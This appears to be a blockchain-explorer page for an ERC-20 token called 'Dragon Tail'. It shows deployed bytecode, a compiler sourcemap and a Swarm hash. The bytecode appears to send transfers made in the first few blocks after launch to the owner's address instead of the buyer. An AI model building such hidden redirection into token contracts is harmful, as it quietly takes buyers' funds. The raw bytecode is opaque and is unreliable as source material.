0008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8216610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610ef091906115dc565b60405160208183030381529060405290610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610faf9190611643565b60405160208183030381529060405290610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600081116040518060400160405280600b81526020017f447261676f6e205461696c00000000000000000000000000000000000000000081525060405160200161104191906116aa565b60405160208183030381529060405290611088576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016110f89190611711565b6040516020818303038152906040529061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5060056006544361115091906115ad565b116111715760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661126957600954816111ce8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6111d891906115c4565b11156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016112209190611778565b60405160208183030381529060405290611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061129e9084906115ad565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040812080548392906112d89084906115c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133e91815260200190565b60405180910390a3505050565b60005b8381101561136657818101518382015260200161134e565b83811115611375576000848401525b50505050565b602081526000825180602084015261139a81604085016020870161134b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff811681146113ee57600080fd5b50565b6000806040838503121561140457600080fd5b823561140f816113cc565b946020939093013593505050565b60008060006060848603121561143257600080fd5b833561143d816113cc565b9250602084013561144d816113cc565b929592945050506040919091013590565b60006020828403121561147057600080fd5b813561147b816113cc565b9392505050565b6000806040838503121561149557600080fd5b82356114a0816113cc565b915060208301356114b0816113cc565b809150509250929050565b6000806000606084860312156114d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114fb57600080fd5b815161147b816113cc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561156d5761156d611506565b500290565b6000826115a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156115bf576115bf611506565b500390565b600082198211156115d7576115d7611506565b500190565b600082516115ee81846020870161134b565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161165581846020870161134b565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b600082516116bc81846020870161134b565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b6000825161172381846020870161134b565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b6000825161178a81846020870161134b565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea26469706673582212204c02283b8d5f668369ace08f62bda4aac1a52428cc4f008026d239435bcfc44464736f6c634300080d0033

Deployed Bytecode Sourcemap

2120:5105:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5663:71;;;;;;;;;;-1:-1:-1;5726:5:0;;;;;;;;;;;;;;;;;5663:71;;;;;;;:::i;:::-;;;;;;;;3816:163;;;;;;;;;;-1:-1:-1;3816:163:0;;;;;:::i;:::-;;:::i;:::-;;;1368:14:1;;1361:22;1343:41;;1331:2;1316:18;3816:163:0;1203:187:1;5001:654:0;;;;;;;;;;;;;:::i;:::-;;2166:30;;;;;;;;;;-1:-1:-1;2166:30:0;;;;;;;;;;;1586:42:1;1574:55;;;1556:74;;1544:2;1529:18;2166:30:0;1395:241:1;5906:87:0;;;;;;;;;;-1:-1:-1;5978:12:0;;5906:87;;;1787:25:1;;;1775:2;1760:18;5906:87:0;1641:177:1;3985:267:0;;;;;;;;;;-1:-1:-1;3985:267:0;;;;;:::i;:::-;;:::i;5821:79::-;;;;;;;;;;-1:-1:-1;5821:79:0;;2374:2;2426:36:1;;2414:2;2399:18;5821:79:0;2284:184:1;4258:214:0;;;;;;;;;;-1:-1:-1;4258:214:0;;;;;:::i;:::-;;:::i;2203:28::-;;;;;;;;;;-1:-1:-1;2203:28:0;;;;;;;;6093:104;;;;;;;;;;-1:-1:-1;6093:104:0;;;;;:::i;:::-;6177:17;;6159:7;6177:17;;;:8;:17;;;;;;;6093:104;1834:80;;;;;;;;;;;;;:::i;1637:65::-;;;;;;;;;;-1:-1:-1;1675:7:0;1693:6;;;1637:65;;5740:75;;;;;;;;;;-1:-1:-1;5805:7:0;;;;;;;;;;;;;;;;;5740:75;;4478:225;;;;;;;;;;-1:-1:-1;4478:225:0;;;;;:::i;:::-;;:::i;3641:169::-;;;;;;;;;;-1:-1:-1;3641:169:0;;;;;:::i;:::-;;:::i;2626:58::-;;;;;;;;;;-1:-1:-1;2626:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6203:131;;;;;;;;;;-1:-1:-1;6203:131:0;;;;;:::i;:::-;6304:18;;;;6286:7;6304:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6203:131;1920:193;;;;;;;;;;-1:-1:-1;1920:193:0;;;;;:::i;:::-;;:::i;5999:88::-;;;;;;;;;;-1:-1:-1;6069:15:0;;5999:88;;3816:163;3893:4;3910:39;1452:10;3933:7;3942:6;3910:8;:39::i;:::-;-1:-1:-1;3967:4:0;3816:163;;;;:::o;5001:654::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;;;;;;;;;5067:16:::1;::::0;::::1;;5066:17;5058:61;;;::::0;::::1;::::0;;3953:2:1;5058:61:0::1;::::0;::::1;3935:21:1::0;3992:2;3972:18;;;3965:30;4031:33;4011:18;;;4004:61;4082:18;;5058:61:0::1;3751:355:1::0;5058:61:0::1;5130:16;:23:::0;;;::::1;5149:4;5130:23:::0;;::::1;::::0;;;5196:15;5214:12:::1;::::0;5164:63:::1;::::0;5181:4:::1;::::0;5196:15:::1;::::0;;::::1;::::0;5164:8:::1;:63::i;:::-;5238:15;::::0;::::1;;:31;5277:21;5308:4;5315:24;5308:4:::0;6177:17;;6159:7;6177:17;;;:8;:17;;;;;;;6093:104;5315:24:::1;5238:137;::::0;;::::1;::::0;;;;;;4424:42:1;4493:15;;;5238:137:0::1;::::0;::::1;4475:34:1::0;4525:18;;;4518:34;5341:1:0::1;4568:18:1::0;;;4561:34;;;4611:18;;;4604:34;2955:42:0::1;4654:19:1::0;;;4647:44;5359:15:0::1;4707:19:1::0;;;4700:35;4386:19;;5238:137:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5411:15:0::1;::::0;:25:::1;::::0;;;;;;;:15:::1;::::0;;::::1;::::0;-1:-1:-1;5411:23:0::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5402:43;;;5454:4;5461:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5402:82;::::0;;::::1;::::0;;;;;;5497:42:1;5566:15;;;5402:82:0::1;::::0;::::1;5548:34:1::0;5618:15;;5598:18;;;5591:43;5460:18;;5402:82:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5386:13;:98:::0;;;::::1;;::::0;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;5495:44:0;;;:29:::1;:44;::::0;;;;;:51;;;::::1;-1:-1:-1::0;5495:51:0::1;::::0;;5575:12:::1;::::0;5594:3:::1;::::0;5575:16:::1;::::0;:12;:16:::1;:::i;:::-;:22;;;;:::i;:::-;5557:15;:40:::0;5635:12:::1;5614:18;:33:::0;5001:654::o;3985:267::-;4084:4;4101:36;4111:6;4119:9;4130:6;4101:9;:36::i;:::-;4179:19;;;;;;;:11;:19;;;;;;;;1452:10;4179:33;;;;;;;;;4148:74;;4157:6;;4179:42;;4215:6;;4179:42;:::i;:::-;4148:8;:74::i;:::-;-1:-1:-1;4240:4:0;3985:267;;;;;:::o;4258:214::-;1452:10;4348:4;4394:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;4348:4;;4364:78;;4386:7;;4394:47;;4431:10;;4394:47;:::i;1834:80::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;3349:397:1;1740:68:0;1909:1:::1;1892:19:::0;;;::::1;::::0;;1834:80::o;4478:225::-;1452:10;4573:4;4620:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;4573:4;;4590:83;;4612:7;;4620:52;;4657:15;;4620:52;:::i;3641:169::-;3721:4;3738:42;1452:10;3762:9;3773:6;3738:9;:42::i;1920:193::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;3349:397:1;1740:68:0;2011:22:::1;::::0;::::1;2003:74;;;::::0;::::1;::::0;;6811:2:1;2003:74:0::1;::::0;::::1;6793:21:1::0;6850:2;6830:18;;;6823:30;6889:34;6869:18;;;6862:62;6960:9;6940:18;;;6933:37;6987:19;;2003:74:0::1;6609:403:1::0;2003:74:0::1;2088:6;:17:::0;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;1920:193::o;4709:286::-;4801:19;;;4793:68;;;;;;;7219:2:1;4793:68:0;;;7201:21:1;7258:2;7238:18;;;7231:30;7297:34;7277:18;;;7270:62;7368:6;7348:18;;;7341:34;7392:19;;4793:68:0;7017:400:1;4793:68:0;4880:21;;;4872:68;;;;;;;7624:2:1;4872:68:0;;;7606:21:1;7663:2;7643:18;;;7636:30;7702:34;7682:18;;;7675:62;7773:4;7753:18;;;7746:32;7795:19;;4872:68:0;7422:398:1;4872:68:0;4951:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;4709:286::o;6342:880::-;6447:1;6431:18;;:4;:18;;;;6465:5;;;;;;;;;;;;;;;;;6451:64;;;;;;;;:::i;:::-;;;;;;;;;;;;;6423:93;;;;;;;;;;;;;;:::i;:::-;;6549:1;6535:16;;:2;:16;;;;6567:5;;;;;;;;;;;;;;;;;6553:62;;;;;;;;:::i;:::-;;;;;;;;;;;;;6527:89;;;;;;;;;;;;;;:::i;:::-;;6644:1;6635:6;:10;6661:5;;;;;;;;;;;;;;;;;6647:68;;;;;;;;:::i;:::-;;;;;;;;;;;;;6627:89;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;6177:17:0;;;6159:7;6177:17;;;:8;:17;;;;;;6735:6;:25;;6776:5;;;;;;;;;;;;;;;;;6762:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;6727:96;;;;;;;;;;;;;;:::i;:::-;;6877:1;6854:18;;6839:12;:33;;;;:::i;:::-;6838:40;6834:63;;1675:7;1693:6;;;6882:12;;6834:63;6912:33;;;;;;;:29;:33;;;;;;;;6907:198;;6998:15;;6987:6;6971:13;6981:2;6177:17;;6159:7;6177:17;;;:8;:17;;;;;;;6093:104;6971:13;:22;;;;:::i;:::-;6970:43;;7029:5;;;;;;;;;;;;;;;;;7015:77;;;;;;;;:::i;:::-;;;;;;;;;;;;;6962:131;;;;;;;;;;;;;;:::i;:::-;;6907:198;7115:14;;;;;;;:8;:14;;;;;:24;;7133:6;;7115:14;:24;;7133:6;;7115:24;:::i;:::-;;;;-1:-1:-1;;7150:12:0;;;;;;;:8;:12;;;;;:22;;7166:6;;7150:12;:22;;7166:6;;7150:22;:::i;:::-;;;;;;;;7203:2;7188:26;;7197:4;7188:26;;;7207:6;7188:26;;;;1787:25:1;;1775:2;1760:18;;1641:177;7188:26:0;;;;;;;;6342:880;;;:::o;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253:6;248:3;244:16;237:27;218:48;;14:258;;;:::o;277:442::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;635:2;623:15;640:66;619:88;604:104;;;;710:2;600:113;;277:442;-1:-1:-1;;277:442:1:o;724:154::-;810:42;803:5;799:54;792:5;789:65;779:93;;868:1;865;858:12;779:93;724:154;:::o;883:315::-;951:6;959;1012:2;1000:9;991:7;987:23;983:32;980:52;;;1028:1;1025;1018:12;980:52;1067:9;1054:23;1086:31;1111:5;1086:31;:::i;:::-;1136:5;1188:2;1173:18;;;;1160:32;;-1:-1:-1;;;883:315:1:o;1823:456::-;1900:6;1908;1916;1969:2;1957:9;1948:7;1944:23;1940:32;1937:52;;;1985:1;1982;1975:12;1937:52;2024:9;2011:23;2043:31;2068:5;2043:31;:::i;:::-;2093:5;-1:-1:-1;2150:2:1;2135:18;;2122:32;2163:33;2122:32;2163:33;:::i;:::-;1823:456;;2215:7;;-1:-1:-1;;;2269:2:1;2254:18;;;;2241:32;;1823:456::o;2704:247::-;2763:6;2816:2;2804:9;2795:7;2791:23;2787:32;2784:52;;;2832:1;2829;2822:12;2784:52;2871:9;2858:23;2890:31;2915:5;2890:31;:::i;:::-;2940:5;2704:247;-1:-1:-1;;;2704:247:1:o;2956:388::-;3024:6;3032;3085:2;3073:9;3064:7;3060:23;3056:32;3053:52;;;3101:1;3098;3091:12;3053:52;3140:9;3127:23;3159:31;3184:5;3159:31;:::i;:::-;3209:5;-1:-1:-1;3266:2:1;3251:18;;3238:32;3279:33;3238:32;3279:33;:::i;:::-;3331:7;3321:17;;;2956:388;;;;;:::o;4746:306::-;4834:6;4842;4850;4903:2;4891:9;4882:7;4878:23;4874:32;4871:52;;;4919:1;4916;4909:12;4871:52;4948:9;4942:16;4932:26;;4998:2;4987:9;4983:18;4977:25;4967:35;;5042:2;5031:9;5027:18;5021:25;5011:35;;4746:306;;;;;:::o;5057:251::-;5127:6;5180:2;5168:9;5159:7;5155:23;5151:32;5148:52;;;5196:1;5193;5186:12;5148:52;5228:9;5222:16;5247:31;5272:5;5247:31;:::i;5645:184::-;5697:77;5694:1;5687:88;5794:4;5791:1;5784:15;5818:4;5815:1;5808:15;5834:228;5874:7;6000:1;5932:66;5928:74;5925:1;5922:81;5917:1;5910:9;5903:17;5899:105;5896:131;;;6007:18;;:::i;:::-;-1:-1:-1;6047:9:1;;5834:228::o;6067:274::-;6107:1;6133;6123:189;;6168:77;6165:1;6158:88;6269:4;6266:1;6259:15;6297:4;6294:1;6287:15;6123:189;-1:-1:-1;6326:9:1;;6067:274::o;6346:125::-;6386:4;6414:1;6411;6408:8;6405:34;;;6419:18;;:::i;:::-;-1:-1:-1;6456:9:1;;6346:125::o;6476:128::-;6516:3;6547:1;6543:6;6540:1;6537:13;6534:39;;;6553:18;;:::i;:::-;-1:-1:-1;6589:9:1;;6476:128::o;7825:516::-;8057:3;8095:6;8089:13;8111:53;8157:6;8152:3;8145:4;8137:6;8133:17;8111:53;:::i;:::-;8225:34;8186:16;;8211:49;;;-1:-1:-1;8294:10:1;8287:4;8276:16;;8269:36;8332:2;8321:14;;7825:516;-1:-1:-1;7825:516:1:o;8346:514::-;8578:3;8616:6;8610:13;8632:53;8678:6;8673:3;8666:4;8658:6;8654:17;8632:53;:::i;:::-;8746:34;8707:16;;8732:49;;;-1:-1:-1;8815:8:1;8808:4;8797:16;;8790:34;8851:2;8840:14;;8346:514;-1:-1:-1;8346:514:1:o;8865:520::-;9097:3;9135:6;9129:13;9151:53;9197:6;9192:3;9185:4;9177:6;9173:17;9151:53;:::i;:::-;9265:34;9226:16;;9251:49;;;-1:-1:-1;9334:14:1;9327:4;9316:16;;9309:40;9376:2;9365:14;;8865:520;-1:-1:-1;8865:520:1:o;9390:512::-;9622:3;9660:6;9654:13;9676:53;9722:6;9717:3;9710:4;9702:6;9698:17;9676:53;:::i;:::-;9790:34;9751:16;;9776:49;;;-1:-1:-1;9859:6:1;9852:4;9841:16;;9834:32;9893:2;9882:14;;9390:512;-1:-1:-1;9390:512:1:o;9907:529::-;10139:3;10177:6;10171:13;10193:53;10239:6;10234:3;10227:4;10219:6;10215:17;10193:53;:::i;:::-;10307:34;10268:16;;10293:49;;;-1:-1:-1;10376:23:1;10369:4;10358:16;;10351:49;10427:2;10416:14;;9907:529;-1:-1:-1;9907:529:1:o

Swarm Source

ipfs://4c02283b8d5f668369ace08f62bda4aac1a52428cc4f008026d239435bcfc444

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.